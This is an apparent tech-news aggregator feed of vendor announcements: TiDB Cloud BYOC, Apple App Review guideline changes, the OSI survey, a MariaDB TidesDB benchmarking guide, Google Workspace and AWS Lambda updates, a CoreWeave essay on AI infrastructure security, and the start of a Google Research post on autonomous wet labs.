BYOC brings TiDB’s MySQL compatibility, distributed ACID transactions, and horizontal scalability into your environment. Applications grow without application-level sharding. Built on TiDB X, BYOC pairs these database capabilities with cloud-native elasticity and resource efficiency.
Why Do Teams Choose TiDB Cloud BYOC Over Self-Managed TiDB?
Teams choose BYOC when policy requires production data in their own cloud account and they do not want to staff database operations. Their security policies govern network boundaries, access permissions, encryption keys, and data placement. Their cloud agreements shape how infrastructure is purchased and paid for.
Self-managed TiDB meets these requirements. It also hands the team upgrades, scaling, backups, monitoring, and incident response. That workload grows with every terabyte and every new service on the cluster.
TiDB Cloud BYOC removes that trade-off. Teams keep control of their cloud account and data boundary, keep using eligible AWS discounts, and let TiDB Cloud run the database lifecycle. Several pilot customers already use BYOC ahead of public preview.
For background on the model itself, see bring your own cloud explained.
What Do You Get with TiDB Cloud BYOC?
TiDB Cloud BYOC gives you control over your AWS environment and fully managed database operations. The four areas below cover data placement, access, operations, and cost.
Your Data and Infrastructure Stay in Your AWS Account
Database compute, storage, and networking run in your AWS account. You apply your existing policies for VPCs, IAM, encryption keys, and cloud governance. Database deployment then follows the same security and data residency rules as the rest of your stack.
Governed Access and Built-In Security
TiDB Cloud performs management operations with scoped permissions that follow the principle of least privilege. PingCAP personnel need your authorization to access the environment for troubleshooting and support, and you can revoke it. Every such session is authenticated, and connections, commands, and data access are fully audited.
Encryption protects data in transit, at rest, and in backups. Customer-managed encryption keys are available in supported configurations.
Managed Operations on TiDB X
TiDB Cloud handles deployment, monitoring, scaling, backups, upgrades, troubleshooting, and lifecycle management.
TiDB X adds three operational gains:
	Auto-scaling. Compute capacity adjusts as demand changes.
	Workload isolation. Dedicated elastic compute runs index creation and large data imports apart from online traffic, which keeps application performance predictable.
	Efficient backups. Backup tasks use fewer compute resources, which lowers the cost of routine data protection.

Your team handles growth and maintains the database with less operational effort.
More Value from Your AWS Investment
Infrastructure costs appear directly in your AWS account, so your team tracks them in existing billing and cost management tools. Eligible enterprise discounts, Savings Plans, Reserved Instances, and other committed-use benefits may apply to covered resources under your AWS agreements.
BYOC deploys on request in your preferred AWS Region. Feasibility depends on instance type availability and Availability Zone requirements. You place the database next to your applications and inside your data residency boundary.
Who Is TiDB Cloud BYOC For?
TiDB Cloud BYOC fits organizations that want managed database operations while production data and infrastructure stay in their own AWS accounts. Four profiles benefit most:
	Large-scale TiDB users. Teams that want to cut operational effort and improve infrastructure efficiency as data volumes grow.
	Organizations with strict data-control requirements. Teams with rules on cloud-account ownership, network boundaries, IAM, or encryption keys.
	Enterprises with established AWS governance and commercial agreements. Teams that need the database to fit existing security, procurement, and cost management processes.
	Applications with variable demand. Workloads that need elastic capacity for traffic spikes, seasonal peaks, and growth.

How Is TiDB Cloud BYOC Priced?
TiDB Cloud BYOC pricing has three components. You pay AWS for infrastructure and PingCAP for the managed service and support.
Total BYOC cost = AWS infrastructure cost + PingCAP BYOC service fee + PingCAP support fee
	AWS infrastructure. You pay AWS directly for EC2, EBS, S3, networking, and other resources. Eligible discounts apply under your AWS agreements.
	BYOC service fee. PingCAP charges by provisioned vCPU capacity, metered per minute and billed hourly. Rates are the same across AWS Regions.
	Support fee. BYOC requires the Enterprise support plan or higher. The fee depends on your plan.

Separate line items let your team evaluate infrastructure consumption and the managed service independently. Contact the PingCAP team for a quote based on your capacity and support requirements.
How to Join the TiDB Cloud BYOC Public Preview
Public preview onboarding runs jointly with the PingCAP team. You prepare a dedicated AWS account. Together, you configure networking and DNS, IAM permissions, certificates, secure maintenance access, and observability, then validate the deployment. The TiDB Cloud BYOC documentation walks through each phase.

Run TiDB Cloud BYOC in your own AWS account. Share your workload, preferred AWS Region, and security requirements, and the PingCAP team will scope a public preview deployment with you. Talk to the TiDB Cloud BYOC team →


The post TiDB Cloud BYOC Public Preview: Fully Managed Distributed SQL in Your AWS Account appeared first on TiDB.

Read it at the source



Strengthening App Review Guidelines against nonconsensual intimate imagery and bait-and-switch apps

Apple Developer · Oct 16, 8:00 PM UTC


									October 16, 2026

																			The App Review Guidelines are a core part of the safe and trusted experience that the App Store strives to offer users around the world — and the foundation of that trust is clear standards that are consistently enforced. 
As outlined in our App Review Guidelines, pornographic material has long been prohibited on the App Store — this includes apps that generate nudity or sexually explicit imagery, such as “nudification” apps that create sexually explicit images of real individuals without their consent. Apps that host user-generated content are required to filter objectionable material, give users a way to report offensive content, and let users block abusive accounts. Apps containing hidden or undocumented features are also prohibited on the App Store, including apps that misrepresent their purpose during review and only reveal harmful capabilities — such as “nudification” — after approval, a tactic commonly known as bait-and-switch.
We want great apps and the innovative developers behind them to succeed on the App Store, and as new risks and novel user experiences emerge, we evolve our App Review Guidelines to maintain the trust of users and developers alike. Today we’re publishing updates that strengthen and extend the existing App Store protections, continuing to build on our long-held standards for privacy, quality, and safety.
For complete details, see the App Review Guidelines.
Changes
1.2: Content moderation requirements now explicitly cover nonconsensual intimate imagery — including imagery generated using AI tools — as content that apps must proactively prevent and remove from their platforms. Developers who fail to implement adequate safeguards — or don’t remedy violations after notice — risk violating the Developer Code of Conduct and being removed from the App Store.
2.5.19: This rule clarifies our longstanding prohibition on apps misrepresenting what they do during the App Review process and then changing after approval — for example, adding features or functionality that weren’t included in the version of the app that was submitted to App Review. Apps found engaging in this conduct are subject to removal from the App Store and removal from the Apple Developer Program.
Section 5: The App Store has always prohibited apps that facilitate human trafficking or the exploitation of children (including child sexual abuse material). When we find instances of apps containing such content, we remove them from the App Store. We’ve updated Section 5 of the App Review guidelines to make clear that apps with such content will be removed from the App Store and blocked from alternative distribution.
We’re committed to keeping bad actors off the App Store, with established processes in place to review and act on apps that violate our guidelines. Last year, we prevented over 150K apps with safety issues from reaching customers and terminated over 193K developer accounts for engaging in fraud and abuse. These violations trace back to malicious actors — in some cases coordinated fraud operations — working to conceal harmful content that only becomes active once an app is approved, and as their tactics evolve, we continue to evolve our own tools and resources to prevent and catch this kind of behavior even faster. We do not hesitate to remove apps, and terminate the developers behind them, when they violate these guidelines.
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Announcing the 2027 State of Open Source Survey

Open Source Initiative · Oct 16, 7:42 PM UTC

The Open Source Initiative (OSI) has teamed up again with Perforce Zend and OpenLogic, as well as the Eclipse Foundation, for the 2027 State of Open Source Survey.
This annual survey, now in its sixth year, brings together perspectives from OSS developers, administrators, and IT leaders around the world. It examines what technologies organizations are deploying, where teams are investing, and what challenges they’re facing. In 2027, that includes taking a closer look at AI, with questions covering adoption, development priorities, and how organizations are responding to a rapidly evolving regulatory environment and increased scrutiny.
Top Findings from 2026
The 2026 State of Open Source Survey showed how firmly open source has become established within organizational technology stacks:
	98% of respondents said their organizations had either increased or maintained their use of open source software over the previous year, up from 96% in 2025.
	Avoiding vendor lock-in was cited as the most common driver of adoption, particularly for European OSS users.
	The largest enterprises (5,000+ employees) reported spending at least half of their time on maintenance, production issues, and bug fixes rather than feature development.
	Security updates and patching remained the most persistent challenge, regardless of organization size.
	55% of organizations that failed a compliance audit last year had end-of-life OSS in their stacks.

These findings show that while OSS adoption keeps growing, the work of governing, securing, and maintaining it has grown with it. Organizations are asking harder questions about ownership, risk, and long-term control.
Take the 2027 State of Open Source Survey
If you use, develop, support, manage, or make decisions about open source software, we want to hear from you.
By participating in the 2027 State of Open Source Survey, you’ll contribute to research on how organizations are using open source and AI, where resources are going, and which technical and operational challenges deserve greater attention. Your responses will give the open source community data it can use to understand how the landscape is changing.
Plus, your participation helps support the OSS community. For every 500 responses, Perforce will increase its donation to Black Girls Code, an organization dedicated to building the next generation of tech leaders, by $1000.
Take the 2027 State of Open Source Survey

Read it at the source



MariaDB Foundation: Exploring TidesDB Performance with TAF

MariaDB Foundation · Oct 16, 7:31 PM UTC

TidesDB now exists inside MariaDB as a pluggable storage engine. 
With the TideSQL plugin available, anyone can load TidesDB into a MariaDB server and begin experimenting with it. 
But having a plugin is only the first step — you still need a practical, reproducible way to run real workloads against it, that’s where TAF comes in.
This blog exists to give anyone interested in TidesDB a roadmap to the city of benchmarking it — a clear, reproducible starting point for running TidesDB inside TAF. 
Once you’re in the city benchmarking, where you go is entirely up to you.
The goal isn’t to dictate how people should test TidesDB. It’s to make sure they can get started without friction, using the exact properties, shell scripts, and wiring that pushed into TAF.
From there, readers can take the work in any direction:
	more threads
	turn threadpool on
	larger or smaller datasets
	different sysbench workloads

This blog is simply the jumping‑off point — the baseline that gets you into the city with working TidesDB + TAF integration. 
After that, the exploration is yours.
And fair warning: this is a details blog. It’s not a high‑level overview or a marketing piece. 
Some readers may find parts of it dry or overly technical — that’s fine. 
This post is aimed at people who actually want to run tests, understand what’s required to make those tests work, and have a solid foundation they can extend however they want.
About TidesDB
TidesDB is a high‑performance, open‑source, transactional embedded key‑value storage engine written in C. It isn’t a standalone database server — there’s no daemon, no port, no SQL parser, no authentication layer. Instead, it’s designed to be embedded directly into other systems as a durable storage layer that writes bytes to disk and retrieves them in sorted order.
Through the TideSQL plugin, TidesDB can be used inside MariaDB as a pluggable storage engine. This makes it possible to run SQL workloads on top of TidesDB’s internal architecture. But it’s important to be clear: switching from InnoDB to TidesDB is not a one‑line ENGINE=TIDESDB change. You need the plugin installed, configured, and wired correctly — which is exactly what this blog helps with.
TidesDB differs from traditional engines like InnoDB in several key ways:
	LSM‑style design: TidesDB uses a log‑structured merge approach rather than a B‑tree. Writes are append‑only, and background compaction organizes data later.
	Key/value separation: Keys live in the sorted LSM structure; values are stored in a sequential value log. This reduces write amplification and changes how compaction behaves under load.
	Concurrency model: Internally, TidesDB uses lock‑free structures designed for many‑core CPUs and NVMe storage.
	MVCC behavior: TidesDB implements optimistic multi‑version concurrency control with multiple isolation levels. Readers and writers don’t block each other, and conflicts resolve at commit time.

Prerequisites
Before running TidesDB inside TAF, you need a few specific components in place. TidesDB currently ships inside MariaDB 11.4.13, and the required RPMs can be downloaded directly from the MariaDB mirror:
MariaDB 11.4.13 RPMs: https://mirror.mariadb.org/yum/11.4/rhel9-amd64/rpms/
For TAF to run TidesDB correctly, you will need the following packages:
	MariaDB-server-11.4.13-1.el9.x86_64.rpm
	MariaDB-client-11.4.13-1.el9.x86_64.rpm
	MariaDB-common-11.4.13-1.el9.x86_64.rpm
	MariaDB-devel-11.4.13-1.el9.x86_64.rpm
	MariaDB-plugin-tidesdb-11.4.13_5.0.0-1.el9.x86_64.rpm
	MariaDB-shared-11.4.13-1.el9.x86_64.rpm

You will also need TAF itself:
TAF GitHub: https://github.com/MariaDB/TAF
Commit containing all new TidesDB properties + shell scripts: 
https://github.com/MariaDB/TAF/commit/e55a32691c1234e6fea20ac86ba6b59575fdd520
These downloads are all you should need to get started.
Installing MariaDB with TidesDB
Once TAF is in place and the MariaDB 11.4.13 RPMs have been downloaded, the next step is installing MariaDB along with the TidesDB plugin. TAF handles the installation automatically when you provide the full list of RPMs.
The following command, with paths adjusted, will install both MariaDB Server along with TidesDB Plugin.
perl taf.pl –verbose –db-software-install  –db-software-install-packages=/<path to>/MariaDB-server-11.4.13-1.el9.x86_64.rpm, /<path to>/MariaDB-client-11.4.13-1.el9.x86_64.rpm, /<path to>/MariaDB-common-11.4.13-1.el9.x86_64.rpm,/<path to>/MariaDB-devel-11.4.13-1.el9.x86_64.rpm,/<path to>/MariaDB-plugin-tidesdb-11.4.13_5.0.0-1.el9.x86_64.rpm,/<path to>/MariaDB-shared-11.4.13-1.el9.x86_64.rpm
TAF will:
	unpack the layered RPMs
	flatten the installation tree
	place the final MariaDB + TidesDB installation under taf-perl/database_software_installs/
	prepare the server binaries and plugin directory for use in TAF workloads
	mark install as “active”

Once the installation completes, TAF prints the confirmation message:
“Install has completed. Happy benchmarking!”
That’s your signal that MariaDB 11.4.13 with the TidesDB plugin is fully installed and ready for use inside TAF.
The Elephant in the Room: Configuration Paths You Must Adjust
Before anyone can run TidesDB inside TAF, they need to deal with the one unavoidable reality: paths matter, and none of them are “default.” Both the .properties files and the shell scripts contain configuration values that must be updated to match the user’s environment.
This section lays out every path you need to consider, why it exists, and what you must change.
1. Properties Files: Required Path Adjustments
There are two categories of paths inside the TAF properties files:
1.1 TidesDB data path
This configuration setting is inside the properties files [db_config_start]/[db_config_end] section
	tidesdb_data_home_dir=/<path to>/taf-perl/data/

1.2 TAF plugin directory path
MariaDB needs to know where the TidesDB plugin .so file actually lives. This is not the default MariaDB plugin directory. In TAF, we use a property to pass to database as CLI on start.
	taf.db_plugin_dir=/<path to>/taf-perl/database_software_installs/MariaDB-server-11.4.13-1.el9.x86_64/lib64/mysql/plugin/

2. Shell Scripts: Required Path Adjustments
The shell scripts have their own set of paths that must be updated.
These control where TAF looks for properties and where it finds the MariaDB/TidesDB installation.
2.1 Properties directory
	PROP_DIR=”/<path to>/taf-perl/properties/mariadb/tidesdb”

2.2 MariaDB + TidesDB installation directory
	INSTALL_DIR=”/<path to>/taf-perl/database_software_installs/MariaDB-server-11.4.13-1.el9.x86_64″

Tides Test Case User Properties Files
NOTE: Before running, see “Building Sysbench” below.
The TidesDB test case properties files are the core of how TAF knows what to run. These files define the sysbench workloads, dataset sizes, isolation levels, and engine configuration for both small and large hosts. All of them live under:
	properties/mariadb/tidesdb/

These properties files are written specifically for two different host classes. To see the exact hardware specifications for each host, refer to the Hardware Sponsor section below.
Each properties file contains the minimum configuration needed to implement the sysbench test cases. They are split into read‑focused and write‑focused workloads:
Read Workloads
	POINT_SELECT
	OLTP_RO

Write Workloads
	OLTP_RW
	OLTP_WO_MODIFIABLE

And they are further divided by host size:
	sysbench_tidesdb_small_host_reads.properties
	sysbench_tidesdb_small_host_writes.properties
	sysbench_tidesdb_large_host_reads.properties
	sysbench_tidesdb_large_host_writes.properties

Each file sets up:
	the correct sysbench test type
	the dataset size appropriate for the host
	the concurrency levels
	the TidesDB engine selection
	the required TidesDB configuration parameters
	the correct plugin directory path (which users must adjust)
	the correct data directory path (which users must adjust)

Shell Scripts for Running TidesDB Tests
TAF includes two shell scripts that act as simple drivers for running the TidesDB sysbench workloads. These scripts are intentionally minimal: they set deterministic CPU behavior, point TAF to the correct properties directory, point TAF to the correct MariaDB + TidesDB installation, and then execute the read and write workloads for the selected host class.
Both scripts live under:
	scripts/mariadb/tidesdb/

and are named:
	tidesdb_small.sh
	tidesdb_large.sh

Each script performs the following steps:
1. Deterministic CPU Behavior
Before running any workload, the scripts configure the host for deterministic CPU frequency. This ensures consistent benchmarking across runs and prevents frequency scaling or boost logic from affecting results.
2. Required Path Variables
Each script defines two variables that every user must update:
	PROP_DIR — the directory containing the TidesDB sysbench properties files
	INSTALL_DIR — the directory containing the MariaDB + TidesDB installation produced by the RPM install step

These paths must match the user’s environment. If either path is incorrect, TAF will fail to locate the properties or the server binaries.
3. Running the Workloads
Each script runs two workloads:
	the read workload (POINT_SELECT and OLTP_RO)
	the write workload (OLTP_RW and OLTP_WO_MODIFIABLE)

The small‑host script runs the small‑host properties files, and the large‑host script runs the large‑host properties files. Output from both workloads is logged to a single file for convenience.
4. Simple, Extensible Design
These scripts are intentionally kept simple so anyone can run TidesDB workloads inside TAF with zero friction. Users can extend them however they want:
	add logging or timestamps
	add loops for multi‑run experiments
	add threadpool toggles
	add dataset scaling logic
	add host‑specific tuning
	add environment validation

But the baseline scripts remain minimal and reproducible.
Building Sysbench
Being a fresh install, sysbench will need to be compiled. 
Sysbench can be compile against MariaDB, MySQL and/or PostgreSQL.
To compile, simple take the properties file you plan to run first and on commandline add
–action=build-client
For Example:
	perl ./taf.pl –properties=/home/jeb/taf-perl/properties/mariadb/tidesdb/sysbench_tidesdb_large_host_writes.properties –action=build-client

This will compile sysbench code against current install.
Once built, it only need to be rebuilt if moving from MariaDB to PostgreSQL.
None of this work would have been possible without our hardware sponsor, Hetzner.com, who provided two dedicated high‑performance benchmarking machines for all TidesDB + TAF integration testing.
These hosts weren’t just “nice to have” — they were essential. Every properties file, every shell script, every reproducible baseline in this blog exists because Hetzner supplied stable, repeatable, production‑grade hardware that could handle both moderate and heavy sysbench workloads without compromise.
Their contribution gave this project real legs: consistent environments, reliable performance characteristics, and the ability to push TidesDB hard enough to expose real behavior — not theory, not guesses, but actual engine dynamics under load.
Small Host (hz‑bench)
A reliable, mid‑range Intel platform ideal for controlled, moderate‑scale benchmarking.
	CPU: 13th Gen Intel® Core™ i5‑13500
	CPU Count: 20
	Core Count: 14
	Socket Count: 1
	RAM: 62.33 GB
	OS: AlmaLinux 9.7 (Moss Jungle Cat)
	Kernel: 5.14.0‑811.35.1.el9_7.x86_64

This machine provided the stable baseline needed to validate TidesDB behavior under smaller datasets, lower concurrency, and predictable CPU characteristics.
Large Host (hz‑bench2)
A high‑core‑count AMD EPYC system built for serious load, ideal for exploring TidesDB’s scaling characteristics.
	CPU: AMD EPYC 9454 48‑Core Processor
	CPU Count: 96
	Core Count: 48
	Socket Count: 1
	RAM: 124.98 GB
	OS: AlmaLinux 9.8 (Olive Jaguar)
	Kernel: 5.14.0‑427.28.1.el9_8.x86_64

This host made it possible to push TidesDB into high‑concurrency territory, test larger datasets, and observe how the engine behaves when the workload actually stresses the underlying architecture.
Closing Thoughts
At this point, you have everything you need to get TidesDB running inside TAF: the RPMs, the install command, the configuration paths, the properties files, the shell drivers, and the hardware context.
At this point it, it a matter of executing the shell script of interest.
But before closing, it’s important to acknowledge the person who made all of this possible.
Congratulations to Alex (Gaetano) Padula
TidesDB didn’t appear in MariaDB by accident. It wasn’t a weekend project or a casual experiment. It was the result of years of work, long nights, long days, refactors, rewrites, design pivots, and relentless iteration.
Alex pushed TidesDB from an idea into a real, production‑grade storage engine — and then pushed further to make it a first‑class MariaDB plugin through TideSQL.
Getting a new storage engine into MariaDB is not a small achievement. It requires:
	deep understanding of MariaDB internals
	careful engineering around MVCC, isolation, and crash recovery
	plugin architecture work
	performance tuning
	correctness validation
	and the persistence to keep going when the work gets hard

Alex did all of that. And he did it with clarity, enthusiasm, and a level of engineering pride that shows in every conversation and every commit.
TidesDB being available as a MariaDB plugin is a milestone — not just for Alex, but for the entire MariaDB ecosystem. 
It opens the door for new workloads, new performance characteristics, and new exploration. 
This blog exists because Alex built something worth exploring.
So congratulations, Alex. You earned this.
To all “Happy benchmarking!”
Jonathan (Jeb) Miller has experience in military leadership, Fire/EMS leadership, computer operations leadership, teaching, and more than 27 years of database performance engineering (PervasiveSQL, MySQL, MariaDB).
TAF is the third benchmarking framework he has helped design and build.
#MariaDB #MySQL #PostgreSQL #Database #TAF #DatabasePerformance #Performance #TidesDB
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How Itaú is building generative AI for its entire customer base

OpenAI · Oct 16, 7:00 PM UTC

With ia.i, a conversational interface, and the IARA governance platform, Itaú is applying its AI First strategy to customers and employees — in one of Brazil’s most regulated sectors.

The full piece, at the source



Google Workspace Weekly Recap - October 16, 2026

Google Workspace Updates · Oct 16, 6:44 PM UTC

Google Meet now uses post-quantum cryptography
Calls in Google Meet will use post-quantum cryptography (PQC) for extra protection, starting now with laptop web clients and meeting room hardware, with mobile support coming soon. There are no visible changes, and you can continue using Meet normally. The updated encryption protects your data against potential future quantum computer threats. | Learn more.
Configure Access Management and Access Approvals policies using classification labels with rules in Assured Controls
We’re introducing Assured Controls rules in the Google Workspace Admin Console, giving administrators a more granular, resource-centric way to enforce Access Management and Access Approvals policies on Google Drive files. | Learn more.
Find your routine next steps on the post-meeting screen in Google Meet
We are introducing next steps in Google Meet. Powered by Gemini and Workspace Studio, our new capability allows users to automate repetitive post-meeting tasks directly within Google Workspace. Next steps help you transform meeting discussions into definitive actions, like drafting follow-up emails in Gmail or exporting action items to Google Tasks. | Learn more.
Switch from live stream viewer to contributor in Google Meet on Android
You can now switch from watching a Google Meet live stream to participating with audio and video directly on Android. This feature is available for viewers who have been invited to both the live stream and the main meeting. | Learn more.
An update on the launch of skills in the Gemini app and Workspace
As previously announced, skills in the Gemini app are starting to roll out today, with an expected completion by mid-November. In the coming weeks, we’ll also introduce critical features like the ability to share Gemini app skills and an integration with Google Drive. We’ll post on the Workspace Updates blog as soon as those capabilities start rolling out. | Learn more.
Now generally available: Preview client-side encrypted PDF and image files directly in Google Drive
Google Drive now supports previewing CSE files directly within Drive. Previously, users had to download encrypted non-native files to their local devices in order to see the contents. With this capability, authorized users can preview encrypted content instantly in their web browser without ever leaving Drive. | Learn more.
Gmail’s AI Inbox is rolling out to paid Workspace users
Earlier this year, we launched AI Inbox in Gmail which helps users catch up on what matters most. Starting today, we’re expanding AI Inbox to paid Google Workspace users. By highlighting key actionable to-do’s and summarizing priority work updates across your emails, AI Inbox makes it easier to stay on top of daily business workflows. | Learn more.
Gmail Live is rolling out to paid Workspace users
Following our initial rollout of conversational AI voice capabilities, we are bringing Gmail Live to Google Workspace customers on mobile (Android and iOS). Using our latest Gemini models, Gmail Live delivers a low-latency, inbox-aware voice search experience that lets you ask questions naturally and hear synthesized answers directly from your email inbox. | Learn more.
The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.
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Why the AI Loop Will Test Every Security Assumption

CoreWeave · Oct 16, 6:44 PM UTC

For years, security reviews were built around familiar sensitive assets, including databases, storage systems, applications, networks, and the identities allowed to reach them. AI doesn’t replace those concerns; it adds a new class of assets with a more dynamic lifecycle.
Model weights, training data, checkpoints, embeddings, prompts, traces, evaluation data, and inference paths can span environments beyond the one covered in the original review. Many of those assets can carry sensitive data or proprietary signals. A model may be trained in one place, tuned in another, served from a third, and evaluated through systems that keep changing as teams learn from production behavior. Agents change the shape of the control model because they can call tools, retrieve context, generate outputs, and create action paths that the review may not have fully anticipated.
As systems become more agentic, trust depends less on a single boundary and more on what can be enforced, observed, revoked, and verified at runtime.
This is increasingly how useful AI gets built, and it changes the CISO review. “Is this environment secure?” still matters, but it is not enough for the dynamic nature of production AI. The harder standard is whether controls can stay with the work and remain verifiable as the system evolves.
That dynamic operating pattern is what CoreWeave describes as the AI loop. Models and agents run for real users, teams observe how they behave, that signal becomes curated data, the system is improved, and the next version is evaluated before it runs again. CoreWeave Forge was built to connect that loop across the tools and workflows behind AI development so that every trace, evaluation, and iteration can help make the next version better.
Security has to account for that same operating pattern. Identity, key authority, telemetry, revocation, and audit evidence need to stay attached to the work at every stage, in every environment.
The AI loop tests the boundary at runtime
The current conversation around agent sandboxes gets to a broader issue that security teams understand from experience. The boundary that matters is not the one described in the review document. It is the one the system actually enforces when software, identities, data, and tools interact at runtime.
Agent workflows make the boundary more dynamic by combining model reasoning, memory, tools, and external systems within a single workflow.  A sandbox may limit where a system can run, what it can call, or which resources it can touch, but those limits still depend on the controls around them. Security teams need to understand: 
	Identity: who or what is acting, and with which credentials
	Key authority: which keys can be used, and what data they can make readable
	Data use: which systems can access customer data, for what purpose, and under which controls
	Telemetry: which events reach the SOC as the system runs
	Revocation: how quickly access can be removed

Those factors can change across training, inference, evaluation, and agent execution. A new tool is added, a new dataset becomes part of an evaluation, a trace becomes a training signal, and a checkpoint moves into object storage. 
As software becomes easier to reproduce, proprietary data and the model behavior it creates become a more durable source of competitive advantage. Protecting that data is no longer just about where it’s stored or who can open it. It is about whether the enterprise can trust how that data is used as the system keeps changing. The system diagram may still look familiar, but the control surface has changed. Control drift begins when the system keeps moving, and the security model is still describing an earlier version of it.
Control drift in the AI loop
As AI systems change, the gap widens between what is running and what the control model can still verify.The loop creates new artifacts, access paths, and evidence
Most CISOs are used to reviewing systems that change, but AI changes the pace and volume of what needs to be governed. A pre-training run creates checkpoints that may land in object storage every few hours. As teams move into post-training, those weights may be tuned, evaluated, rolled out, and compared against new behavior. Reinforcement learning through capabilities like CoreWeave RL Rollouts brings inference into the training loop, with rollout generation, reward logic, new checkpoints, and updated weights feeding the next round of improvement.
For security teams, the challenge is not only that more artifacts exist but also that those artifacts can become part of the next decision, the next model version, or the next production path, while still carrying traces of the proprietary or business-critical data that shaped them. A trace may become evaluation data. An evaluation may influence promotion. A rollout may produce new behavior that needs review. Without controls that travel with the work, security teams can end up governing the last approved version of the system instead of the one actually running.
Control portability makes that manageable. Identity, key authority, telemetry, revocation, and audit evidence remain attached as the work moves through the loop, so AI teams can keep iterating while security teams retain a clear record of what changed, who or what acted, which data became usable, and whether access was removed when it needed to be.
Encryption is necessary; authority is harder
Encryption is table stakes. In AI, the harder operational issue is authority. As checkpoints, weights, traces, prompts, evaluation sets, and inference outputs move through the loop, security teams need to know who can make protected data usable, where that authority applies, and how quickly it can be revoked.
That’s why I would treat key control as part of containment, not as a compliance checkbox. A sandbox helps define where a system can operate. Identity helps define who or what can act. Key authority helps determine when protected data can be used.
If those controls separate from one another, security teams lose the ability to understand what became readable, who or what caused it, where it happened, and whether access was removed quickly enough.
Key authority has to travel with the work
This is where capabilities like Remote Key Encryption (RKE) become practical.
Remote Key Encryption is CoreWeave’s approach to protecting data at rest. It is designed to let customers use keys from the key infrastructure they already operate, whether that is a software key manager, a hardware security module, or a KMS in another cloud, while running AI workloads on CoreWeave.
For security teams, that means key authority can stay aligned to the customer’s governance model instead of being rebuilt around an AI cloud. They should be able to understand where key authority lives, who can make protected data readable, how access is scoped, how revocation works, and where the evidence lands.
RKE is one example of customer control traveling with the work. It is not the whole story. RKE protects data at rest, while data in use is a separate boundary that requires different controls.
Confidential computing and attestation are part of that next boundary. Confidential computing is designed to protect sensitive workloads while data is being processed. Attestation helps customers verify that the expected hardware and software environment is intact. Together, customer-held keys and confidential computing point toward a future in which key custody, runtime protection, and infrastructure verification work more closely together. They should not be confused with what RKE does today.
AI loop security has to work as a system
As AI development becomes more continuous, security has to stay connected to the way the system actually runs. That does not mean security teams need a new tool for every stage of AI development. In most environments, that would make the problem worse. Security teams should be able to bring the control planes they already trust into the AI environment.
That applies to identity, keys, telemetry, revocation, audit evidence, detection, and response. If a SOC already depends on a platform like the CrowdStrike Falcon® platform, AI infrastructure should not require the team to rebuild its playbooks in a separate provider console. Existing workflows should stay connected as AI work moves through training, inference, evaluation, and agent workflows.
Agentic AI makes this a full-stack problem. Models, tools, data, memory, runtime, networking, isolation, and governance all come together inside the same operating path. A weakness in one layer can change the risk posture of another. A runtime issue can become an identity issue. A tool call can become a data access issue. A missing signal can become a response issue.
That is why security cannot be treated as a layer added after the infrastructure decision is made. The AI loop depends on performance, but it also depends on trust. Teams running, observing, improving, and redeploying AI systems faster need evidence that the controls around that loop are still working.
I would apply that standard to any AI infrastructure platform, including ours. The practical test is not whether the architecture diagram looked good on day one. It is whether the controls still hold after the model changes, the data changes, the evaluation path changes, and the agent has new tools in front of it.
The AI loop is supported by a shared infrastructure foundation, with security operating alongside storage, networking, and compute.9 questions for securing the AI loop
If I were reviewing an AI infrastructure platform for production use, I would start with these questions.
	What does the sandbox actually enforce, and how is that enforcement verified?
	Which identities can act inside the AI environment, and where is the source of truth for those identities?
	Where do keys live; who can cause protected data to become readable; and can key use be scoped by identity, environment, purpose, and stage of the AI lifecycle?
	When an identity, token, or key is revoked, how quickly does that take effect across the environment?
	Does telemetry flow into my SOC as the system runs or only after I ask the provider for evidence?
	Can my existing detection and response workflows stay connected to the AI environment?
	Which controls are available and documented today, and which are still on the roadmap?
	What is protected at rest, in transit, and in use, and what can I verify today?
	Who has access to mission-critical data, and has everyone else been removed from that trust boundary?

Production trust has to be built on what is available, documented, enforceable, and verifiable now. Roadmaps have a place, but security teams need to know exactly what they’re trusting. Security cannot be a one-time approval around a system that keeps evolving. Controls need to travel with the work, and the evidence needs to travel with them.
Ready to secure your AI loop? Start here:
	See how CoreWeave Forge connects the AI loop and turns every iteration into compounding improvement

	Learn more about CoreWeave Remote Key Encryption

	Visit the CoreWeave Trust Center

‍
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AWS Lambda durable functions are now available in AWS GovCloud (US) Regions

What's New with AWS · Oct 16, 6:26 PM UTC

AWS Lambda durable functions are now available in the AWS GovCloud (US-West) and AWS GovCloud (US-East) Regions. Lambda durable functions enable developers to build reliable multi-step applications and AI workflows within the Lambda developer experience.
Lambda durable functions extend the Lambda programming model with new primitives in your event handler, such as "step" and "wait", allowing you to checkpoint progress, automatically recover from failures, and pause executions without incurring compute charges for on-demand functions. With availability in the AWS GovCloud (US) Regions, government customers and regulated industries can orchestrate complex processes such as order workflows, user onboarding, and AI-assisted tasks while meeting stringent compliance and security requirements.
You can activate durable functions for new Python (versions 3.13 and 3.14), Node.js (versions 22 and 24), Go (versions 1.24 or later), .Net (version 2.2), or Java (17+) based Lambda functions using the AWS Lambda API, AWS Management Console, or AWS SDK. You can also use infrastructure as code tools such as AWS CloudFormation, AWS Serverless Application Model (AWS SAM), and the AWS Cloud Development Kit (AWS CDK).
For more information on durable functions, visit the AWS Lambda durable functions product page or the AWS Lambda Developer Guide. To learn about pricing, visit AWS Lambda pricing. For region availability, visit the AWS Capabilities by Region page. 
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Grounding AI agents in biological reality: Building blocks for autonomous wet labs

Google Research · Oct 16, 6:11 PM UTC


  




  Frontier AI systems have the potential to transform biology research and drug discovery by intelligently navigating vast combinatorial search spaces (e.g., a single 100-amino-acid protein spans at least 20100 possible sequences) calling for dynamic multi-candidate exploration. Our long-term research vision is that AI agents will not only ideate and analyze, but also run lab experiments to test their hypotheses, learn from the results, and self-improve to solve complex problems — all driven by human scientific agency.
Realizing this vision requires solving two intertwined challenges: First, frontier models still do not reason reliably about 3-dimensional geometry and physical state — which poses a problem in the automation of the specialized liquid-handling robots that move reagents, track volumes, and execute molecular biology protocols in a wet lab. Second, while agentic hypothesis generation and in-silico design are advancing rapidly, needing repeated cycles of real-world feedback to validate the proposals and navigate vast search spaces, real-world wet-lab experiments have not kept pace, making experimental readouts more of a bottleneck than ever.
In this post we share three research projects highlighting our progress on bridging the gap between in-silico AI exploration and real-world wet-lab experimentation:
	Enabling AI agents to perform safe, resource efficient experimentation grounded in physical measurements by using the VERID framework.
	Demonstrating closed-loop agentic scientific discoveries on our prototypes for aptamer and de-novo protein design.


  

  


    Grounding agents in physical reality

            
        
        
    



